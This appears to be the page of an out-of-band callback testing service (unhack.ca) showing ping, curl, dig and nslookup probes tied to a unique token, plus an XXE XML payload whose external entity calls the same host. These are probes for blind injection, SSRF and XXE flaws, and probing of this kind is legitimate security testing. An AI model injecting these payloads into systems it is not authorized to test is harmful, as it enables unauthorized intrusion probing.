$ ping -c1 -p 003ad3630d4f98e535c4fbc3a1ca7d00 unhack.ca
 

$ curl http://unhack.ca/p/3ad3630d4f98e535c4fbc3a1ca7d
 

$ dig 3ad3630d4f98e535c4fbc3a1ca7d @unhack.ca
 

$ dig 3ad3630d4f98e535c4fbc3a1ca7d.ns.unhack.ca
 

C:\> nslookup 3ad3630d4f98e535c4fbc3a1ca7d unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3ad3630d4f98e535c4fbc3a1ca7d">]>
    <foo>&xxe;</foo>